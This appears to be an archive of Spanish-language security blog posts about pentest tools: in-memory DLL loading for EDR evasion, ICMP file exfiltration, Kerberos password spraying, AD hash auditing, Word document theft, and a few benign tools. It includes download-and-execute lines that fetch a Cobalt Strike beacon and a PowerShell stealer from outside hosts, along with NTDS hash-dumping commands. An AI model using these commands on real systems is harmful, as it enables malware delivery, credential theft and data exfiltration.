jueves, 4 de mayo de 2023

PythonMemoryModule: implementación en python/ctypes para cargar una dll/exe en memoria

MemoryModule es una vieja herramienta desarrollada por Joachim Bauch que permite cargar y ejecutar módulos de Windows directamente desde la memoria en tiempo de ejecución en lugar de cargarlos desde el disco. Su técnica se basa en la capacidad de Windows de ejecutar código desde una sección de memoria que ha sido asignada como ejecutable.

La ventaja de esta técnica es que permite cargar módulos de forma dinámica y sin tener que escribirlos en el disco, lo que puede ser útil en ciertos casos, como cuando se desea ocultar el código malicioso de la detección por parte un EDR... ejem ejem... Además, al no cargar desde el disco, se puede evitar que se generen rastros en el filesystem o registros del sistema. claro claro...
 
Pues hoy y gracias al italiano naksyn traemos una implementación de esta técnica con Python utilizando la librería ctypes, ya sabéis, la que permite acceder a librerías compartidas escritas en lenguajes de programación como C, C++, entre otros, desde Python, cargando .pyd compilados en lugar de dlls externas, y apoyándose en pefile para analizar las cabeceras del ejecutable.

La herramienta llamada PythonMemoryModule (qué original en el nombre) se pensó en principio para usarla como un módulo de Pyramid para proporcionar evasión contra AV/EDR mediante la carga de payloads dll/exe en python.exe completamente desde la memoria; sin embargo, son posibles otros casos de uso (protección de IP, carga en memoria de pyds, spin-offs para otras técnicas más sigilosas), etc. 

Además, utilizar un lenguaje interpretado como Python nos aporta ventajas adicionales:

  • permite la carga de una dll desde un búfer de memoria utilizando el binario python.exe firmado sin necesidad de colocar en el disco código/bibliotecas externas (como enlaces de pymemorymodule) que pueden ser detectados por un AV/EDR o pueden despertar la sospecha del usuario.
  • no requiere meter el código en el loader ya que con Python se puede cargar de forma dinámica y en memoria
  • podemos cargar un payload stageless sin realizar una inyección o ejecutar un shellcode. El proceso de carga imita la API LoadLibrary sin llamarla...

Veamos un ejemplo de uso, por ejemplo la descarga de una dll de beacon stageless de Cobalt Strike (no se guarda en el disco), se carga en la memoria y se inicia llamando al entrypoint:

import urllib.request 
import ctypes 
import pythonmemorymodule 
request = urllib.request.Request('http://192.168.1.2/beacon.dll'
result = urllib.request.urlopen(request
buf=result.read() 
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True
startDll = dll.get_proc_addr('StartW'
assert startDll() 
#dll.free_library()

Nota: si usamos staging en nuestro malleable profile, la dll no podrá cargarse con LoadLibrary, por lo tanto, MemoryModule no funcionará.

¿Y cómo pueden detectar esta técnica los azulones? MemoryModule respetará principalmente los permisos de las secciones de la DLL de destino y evitará el enfoque RWX ruidoso. Sin embargo, dentro de la memoria del programa habrá un private commit no respaldado por una dll en disco y esto podría generar un indicador.

Proyecto: https://github.com/naksyn/PythonMemoryModule

miércoles, 13 de abril de 2022

ICMP-TransferTools: transfiriendo archivos mediante ICMP

ICMP-TransferTools es un conjunto de scripts diseñados para mover archivos hacia y desde hosts de Windows en entornos de red restringidos. Esto se logra utilizando un total de 4 archivos diferentes, que consisten en un servidor Python y un cliente PowerShell para cada dirección de transferencia (Descargar y Subir).
La única dependencia requerida es Impacket para uno de los scripts de python. Se puede instalar a través de pip simplemente así:

pip3 install impacket

Descarga a través de ICMP

Los scripts ICMP-SendFile.py e Invoke-IcmpDownload.ps1 incluidos en el repo se pueden usar para descargar un archivo a un host de Windows a través de ICMP.
El servidor python debe ejecutarse primero para preparar el archivo para su descarga. Las opciones para el uso del script son las siguientes:

usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)

Una vez importado, se puede usar el cliente en PowerShell para descargar el archivo de la siguiente manera:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload

A continuación una pequeña demo:

Subida a través de ICMP

Los scripts ICMP-ReceiveFile.py e Invoke-IcmpUpload.ps1 incluidos se pueden usar para subir/exfiltrar un archivo desde un host de Windows a través de ICMP.

El servidor Python debe ejecutarse primero para garantizar que esté listo para aceptar peticiones del cliente. Las opciones para el uso del script son las siguientes:

usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit
Una vez importado, el cliente de PowerShell se puede usar para subir el archivo deseado de la siguiente manera:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Y de nuevo, otra pequeña demo:


Repo: https://github.com/icyguider/ICMP-TransferTools

viernes, 22 de enero de 2021

SpiderFoot, Una herramienta OSINT de gran utilidad

Hoy os presentamos una herramienta muy útil en la parte de recolección de información. SpiderFoot es una herramienta OSINT, que puedes descargar aquí.

Esta herramienta OSINT la podemos usar en el momento de recolectar información en una auditoría. Con SpiderFoot, podremos hacer escaneos sobre un dominio, una web, una ip, un mail o una red.

En la pantalla principal podremos ver varias opciones, como comenzar un nuevo escaneo, ver escaneos realizados o configurarlo en settings como nosotros queramos.

Una vez que configuremos o dejemos por defecto la configuración de la herramienta, podremos hacer nuestro primer escaneo.

Nos aparece la descripción, el objetivo y podemos configurar lo que queramos. Si dejamos ALL por defecto, nos sacará toda la información que recolecte, pero el escaneo será más lento.

Una vez comenzado el escaneo, veremos una pantalla similar a esta:
Aquí nos indica el estado del escaneo. En este caso, podemos observar que está en modo comienzo, donde nos lo indica con el status: starting.

Una vez que el escaneo comienza, aparecerá el estado Scanning y, una vez finalice, aparecerá el indicador Finished.

Los resultados aparecerán de la siguiente forma:

Si pasamos el cursor por encima de cualquier barra, nos dará información de lo recolectado.
En la pestaña de SCANS, podremos ver los scaneos realizados, así como sus resultados y poder explotarlos.

jueves, 21 de enero de 2021

Tritium: una herramienta en go para password spraying

Hoy en día existen muchas herramientas para hacer password spraying mediante pre-autenticación de Kerberos, pero hoy he visto una escrita en Go llamada Tritium bastante interesante y una buena candidata para añadir al arsenal de todo buen pentester. 

Tal y como rezan en su Github incorporan las siguientes funcionalidades:

  • previene el bloqueo de usuarios del dominio
  • integra la enumeración de nombres de usuario con el proceso de spray de contraseñas (ambas son funcionalidades separadas)
  • capacidad de hacer spray de contraseñas de forma recursiva en lugar de ejecutar un simple spray
  • puede hacer resume/continuar el ataque e ignora las cuentas previamente comprometidas

Tritium permite lo mencionado anteriormente y más. Por ejemplo la enumeración de usuarios ya no desperdiciará un intento de login previo porque lo usará para generar un archivo de usuarios válidos. Tritium también le da al usuario la capacidad de pasarle un archivo de contraseñas para hacer spray de forma recursiva. Y sobretodo tiene la funcionalidad como comentábamos de que detecta si un dominio está bloqueando cuentas al guardar el estado y detiene el ataque si se bloquean 3 cuentas consecutivas.

Repo: https://github.com/S4R1N/Tritium
Instalación: go get S4R1N/Tritium

Uso:

 ./Tritium -h

        ___________      .__  __  .__               
        \__    ___/______|__|/  |_|__|__ __  _____  
          |    |  \_  __ \  \   __\  |  |  \/     \ 
          |    |   |  | \/  ||  | |  |  |  /  Y Y  \
          |____|   |__|  |__||__| |__|____/|__|_|__/ v 0.4
                                                                                          

          Author: S4R1N, alfarom256
 


 Required Params:

 -d            The full domain to use (-domain targetdomain.local)
 -dc           Domain controller to authenticate against (-dc washingtondc.targetdomain.local)
 -dcf          File of domain controllers to authenticate against 
 -u            Select single user to authenticate as (-user jsmith) 
 -uf           User file to use for password spraying (-userfile ~/home/users.txt)
 -p            Password to use for spraying (-password Welcome1)

 Optional: 

 -help         Print this help menu
 -o            Tritium Output file (default spray.json)
 -w            Wait time between authentication attempts [Default 1] (-w 0)    
 -jitter       % Jitter between authentication attempts      
 -rs           Enable recursive spraying 
 -ws           Wait time between sprays [Default 3600] (-ws 1800)
 -pwf          Password file to use for recursive 
 -res          Continue a password spraying campaign
 -rf           Tritium Json file 

martes, 10 de noviembre de 2020

Decoder++: una herramienta para codificar/decodificar datos en varios formatos

Decoder++ de bytebutcher es una aplicación para pentesters y desarrolladores bastante chula para decodificar o codificar datos en varios formatos. 

Para instalar la herramienta simplemente podemos usar pip u obtener la fuente desde el repo de Github:

pip3 install decoder-plus-plus

o git clone https://github.com/bytebutcher/decoder-plus-plus.git
En modo gráfico tenemos dos opciones: main-window-mode o dialog-mode. Mientras que el primer modo admite tabs, con el segundo tenemos la opción de devolver el contenido transformado a stdout para su posterior procesamiento. Esto es muy útil si queremos llamar a Decoder++ desde otras herramientas como BurpSuite (echa un vistazo a la extensión de BurpSuite Send-to) o cualquier otro script en el que queramos agregar una interfaz gráfica de usuario.

Por otro lado, si no queremos iniciar una interfaz gráfica podemos usar también la herramienta desde la línea de comandos:

(/tools/decoder-plus-plus/dpp$ python3 runner.py)
$ dpp -e base64 -h sha1 "encodeame y hasheame esto por la gracia de Shon"
763c99199ea69043ea7edb4dcb90e53457e57cd7
Para listar codecs disponibles:
$ dpp -l base enc

Codec                 Type
-----                 ----
base16                encoder
base32                encoder
base64                encoder
Decoder ++ distingue entre codificadores, decodificadores, hashes y scripts. Al igual que la interfaz gráfica por línea de comandos permite utilizar varios códecs en un único comando:
$ dpp "H4sIAAXmeVsC//NIzcnJ11Eozy/KSVEEAObG5usNAAAA" -d base64 -d gzip
Hello, world!
Si bien los codificadores, decodificadores y hashers se pueden usar de primeras, algunos de los scripts pueden requerir configuración adicional. Para mostrar todas las opciones disponibles de un script específico, se puede usar el parámetro de ayuda:
$ dpp "Hello, world!" -s split_and_rejoin help

Split & Rejoin
==============

             Name  Value  Group            Required  Description
             ----  -----  -----            --------  -----------
       split_term  ,                       yes       the parameter used for splitting
   split_by_chars  True   split_behaviour  no        specifies whether text should be split at chars
  split_by_length  False  split_behaviour  no        specifies whether text should be split at interval
rejoin_with_chars                          yes       the chars used to join the split text
Para configurar un script específico, se debe proporcionar las opciones individuales como pares nombre-valor (por ejemplo, search_term = "Hello"):
$ dpp "Hello, world!" -s search_and_replace search_term="Hello" replace_term="Hey"
Hey, world!

Características

  • Interfaces de usuario: 
    • Interfaz gráfica del usuario 
    • Interfaz de línea de comandos 
  • Scripts y códecs preinstalados: 
    • Codificar/Decodificar: Base16, Base32, Base64, Binary, Gzip, Hex, Html, JWT, HTTP64, Octal, Url, Url +, Zlib 
    • Hash: Adler-32, Apache-Md5, CRC32, FreeBSD-NT, Keccak224, Keccak256, Keccak384, Keccak512, LM, Md2, Md4, Md5, NT, PHPass, RipeMd160, Sha1, Sha3 224, Sha3 256, Sha3 384, Sha3 512, Sha224, Sha256, Sha348, Sha512, Sun Md5 
    • Scripts: CSS-Minify, Caesar, Filter-Lines, Identify File Format, Identify Hash Format, JS-Beautifier, JS-to-XML, HTML-Beautifier, Little/Big-Endian Transform, Reformat Text, Remove Newlines, Remove Whitespaces, Search and Replace, Split and Rejoin, Unescape/Escape String 
  • Decodificación inteligente 
  • Sistema de plugins 
  • Cargar y guardar la sesión actual 
  • Plataformas: Windows, Linux y MAC 

Desarrollo de plugins 

Para agregar códecs personalizados, simplemente tenemos que copiarlos en la carpeta $HOME/.config/dpp/plugins/. 

Proyecto: https://github.com/bytebutcher/decoder-plus-plus

miércoles, 7 de octubre de 2020

Lil Pwny: herramienta para comparar las contraseñas de un DA con la lista de Have I Been Pwned

Lil Pwny es una herramienta escrita en Python que permite comparar de forma offline las contraseñas de un Directorio Activo contra la lista de contraseñas recopiladas en Have I Been Pwned (en adelante HIBP), ya sabéis, la recopilación de contraseñas de muchos data breachs reales. 

Y es que hablamos de que actualmente esta recopilación tiene más de 550 millones de contraseñas, así que esta tarea debe hacerse con cierto "mimo". Para ello el autor de la herramienta Andrew Byford aka @_PaperMtn ha implementado multiproceso y opcionalmente permite trabajar en memoria para un indexado más rápido (mínimo 24GBs de RAM). También divide la lista de los hashes de los usuarios de DA en tantos trozos como número de cores -1, dejando ese core libre para manejar la lista compartida entre los procesos. Luego se crea un proceso para que cada uno de los cores busque su parte de la lista de hashes de usuarios en la lista hash de HIBP. 


Estas optimizaciones significan que cuanto más hardware se esté utilizando más rápido se ejecutará la auditoría. Por ejemplo, con un servidores de 80 núcleos y 80 GB de RAM se pueden comparar unos 6800 usuarios contra la lista HIBP en 48 minutos. 

Además Lil Pwny permite otras características adicionales bastante interesantes como: 

  • La posibilidad de proporcionar una lista adicional de contraseñas (las más relevantes de las que se sospecha que podrían estar usándose), más bien hashes, para comparar contra los del DA y la lista de HIBP.
  • Devuelve una lista de cuentas con las mismas contraseñas. Útil para encontrar usuarios que utilicen la misma contraseña para sus cuentas con privilegios y estándar. 

PREPARACIÓN 

Paso 1: Obtener un volcado IFM de la base de datos del Directorio Activo 

En un controlador de dominio, usar ntdsutil para generar un volcado IFM (Install From Media) del dominio. Ejecutar lo siguiente en una ventana de PowerShell elevada:

ntdsutil
activate instance ntds
ifm
create full **OUTPUT PATH**

Una vez que hayamos generado el snapshot tendremos una copia del ntds.dit. 

Paso 2: recuperar los hashes NTLM del output 

Para recuperar los hashes NTLM de los datos del fichero ntds.dit, se requiere el módulo DSInternals de Powershell. 

Install-Module DSInternals 

Una vez instalado, podremos usar la rama SYSTEM para recuperar los hashes en el formato username:hash y guardarlos en el archivo ad_ntlm_hashes.txt

$bootKey = Get-BootKey -SystemHivePath '.\registry\SYSTEM'
Get-ADDBAccount -All -DBPath '.\Active Directory\ntds.dit' -BootKey $bootKey | Format-Custom -View HashcatNT | Out-File ad_ntlm_hashes.txt -Encoding ASCII

La salida será como la siguiente: 

Paso 3: descargar el último archivo hash HIBP 

El archivo se puede descargar desde aquí 

INSTALACIÓN 

Ahora que tenemos todos los ingredientes vamos a proceder a usar la herramienta: 

pip install lil-pwny 

O también podemos obtenerlo del repo en Github: https://github.com/PaperMtn/lil-pwny/releases 

USO

usage: lil-pwny [-h] -hibp HIBP [-a A] -ad AD_HASHES [-d] [-m] [-o OUTPUT]

optional arguments:
  -hibp, --hibp-path    The HIBP .txt file of NTLM hashes
  -a, --a               .txt file containing additional passwords to check for
  -ad, --ad-hashes      The NTLM hashes from of AD users
  -d, --find-duplicates Output a list of duplicate password users
  -m, --memory          Load HIBP hash list into memory (over 24GB RAM
                        required)
  -o, --out-path        Set output path. Uses working dir when not set
Ejemplo:
lil-pwny -hibp ~/hibp_hashes.txt -ad ~/ad_ntlm_hashes.txt -a ~/additional_passwords.txt -o ~/Desktop/Output -m -d

Y finalmente, algunas salidas de ejemplo con resultados: 

Usuarios que matchean en HIBP: 

Usuarios que matchean contra una lista de passwords custom:

Usuarios que reutilizan la contraseña: 

domingo, 4 de octubre de 2020

Vigilancia de Logs con la Herramienta logcheck en Kali Linux

El programa de nombre logcheck vigila los archivos donde se registran los eventos (logs); por defecto cada hora; para luego enviar los mensajes inusuales encontrados en los logs, a través de mensajes de correos electrónicos dirigidos hacia el administrador, para este realice un posterior análisis. La lista de archivos vigilados se almacenan en el archivo “/etc/logcheck/logcheck.logfiles.”. Los valores por defecto funcionan bien si el archivo “/etc/rsyslog.conf” no ha sido completamente revisado.

logcheck puede reportar en varios niveles de detalle: paranoico, servidor y estación de trabajo. Paranoico es muy verboso y debería probablemente ser restringido hacia servidores específicos como firewalls. Servidor es el modo por defecto, y se recomienda para la mayoría de servidores. Estación de trabajo es obviamente diseñado para estaciones de trabajo, y es extremadamente conciso, filtrando más mensajes comparado con otras opciones.

En estos tres casos mencionados, logcheck debe probablemente ser personalizado para excluir algunos mensajes extras (dependiendo de los servicios instalados), a menos realmente se desee recibir lotes por hora de largos mensajes de correos electrónicos poco interesantes. Debido al mecanismo para la selección de mensajes es bastante complejo, es una lectura obligatoria el archivo de nombre “/usr/share/doc/logcheck-database/README.logcheck-database.gz”.

Las reglas aplicadas pueden ser divididas en varios tipos:

  • Aquellos calificando un mensaje como un intento (almacenado en un archivo en el directorio “/etc/logcheck/cracking.d/”)
  • Intentos ignorados (/etc/logcheck/cracking.ignore.d/)
  • Aquellos clasificando un mensaje como una alerta de seguridad (/etc/logcheck/violations.d/)
  • Alertas de seguridad ignoradas (/etc/logcheck/violations.ignore.d/)
  • Finalmente aquellas aplicados al resto de mensajes (considerados como eventos de seguridad)

Los archivos “ignore.d” son utilizado para (obviamente) ignorar mensajes. Por ejemplo un mensaje etiquetado como un intento o una alerta de seguridad (siguiendo una regla almacenada en un archivo “/etc/logcheck/violations.d/myfile”) puede solo ser ignorada por una regla en “/etc/logcheck/violations.ignore.d/myfile” o un archivo “/etc/logcheck/violations.ignore.d/myfile-extension”.

Un evento del sistema siempre se señalada a menos una regla en uno de los directorios “/etc/logcheck/ignore.d.{paranoico,servidor,estación de trabajo/”, establezca el evento debe ser ignorado. De hecho los únicos directorios a tener en cuenta son aquellos correspondientes hacia niveles de verbosidad iguales o superiores al modo de operación seleccionado.

Fuentes:

http://logcheck.org/
https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf

lunes, 10 de agosto de 2020

Herramienta para exfiltrar el texto de los documentos de Word abiertos

Invoke-WordThief es una herramienta que se compone de un script en powershell que conecta con un servidor TCP implementado en python y que monitoriza los documentos de Microsoft Word activos (.doc, .docx, etc.) para extraer/ex-filtrar sus textos. Para ello utiliza los objetos COM de Word y el script también añade un entrada en el registro en la rama HKCU (sin necesidad de privilegios de administración) para conseguir persistencia.

USO
Servidor:

$ python3 ./logger.py -h
usage: logger.py [-h] [-o LOG_DIR] [-p LPORT] [-b BIND]

TCP Listener for Invoke-WordThief document text

optional arguments:
  -h, --help            show this help message and exit
  -o LOG_DIR, -d LOG_DIR, --log_dir LOG_DIR
                        Full path of log directory.
  -p LPORT, -l LPORT, --lport LPORT
                        Listening port of log server
  -b BIND, --bind BIND  Bind address to listen to


Cliente:
PS C:\Users\vis0r\Downloads\Invoke-WordThief-master> help Invoke-WordThief

NOMBRE
    Invoke-WordThief

SINOPSIS
    This is the main function, running all monitoring activity and multithreading (Jobs),
    defined ScriptBlock that runs the text streaming phase (after doc has been opened).

SINTAXIS
    Invoke-WordThief [-SERVER] <String> [[-PERSISTENCE] <Boolean>] [[-LOG_PORT] <Int32>] [[-HTTP_PORT] <Int32>]
    [<CommonParameters>]

DESCRIPCIÓN

VÍNCULOS RELACIONADOS

NOTAS
    Para ver los ejemplos, escriba: "get-help Invoke-WordThief -examples".
    Para obtener más información, escriba: "get-help Invoke-WordThief -detailed".
    Para obtener información técnica, escriba: "get-help Invoke-WordThief -full".


powershell -nop -w 1 -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.138:8888/Invoke-WordThief.ps1');Invoke-WordThief -Server 192.168.1.138"


Fuente: https://github.com/danielwolfmann/Invoke-WordThief

 

CLOWN SAW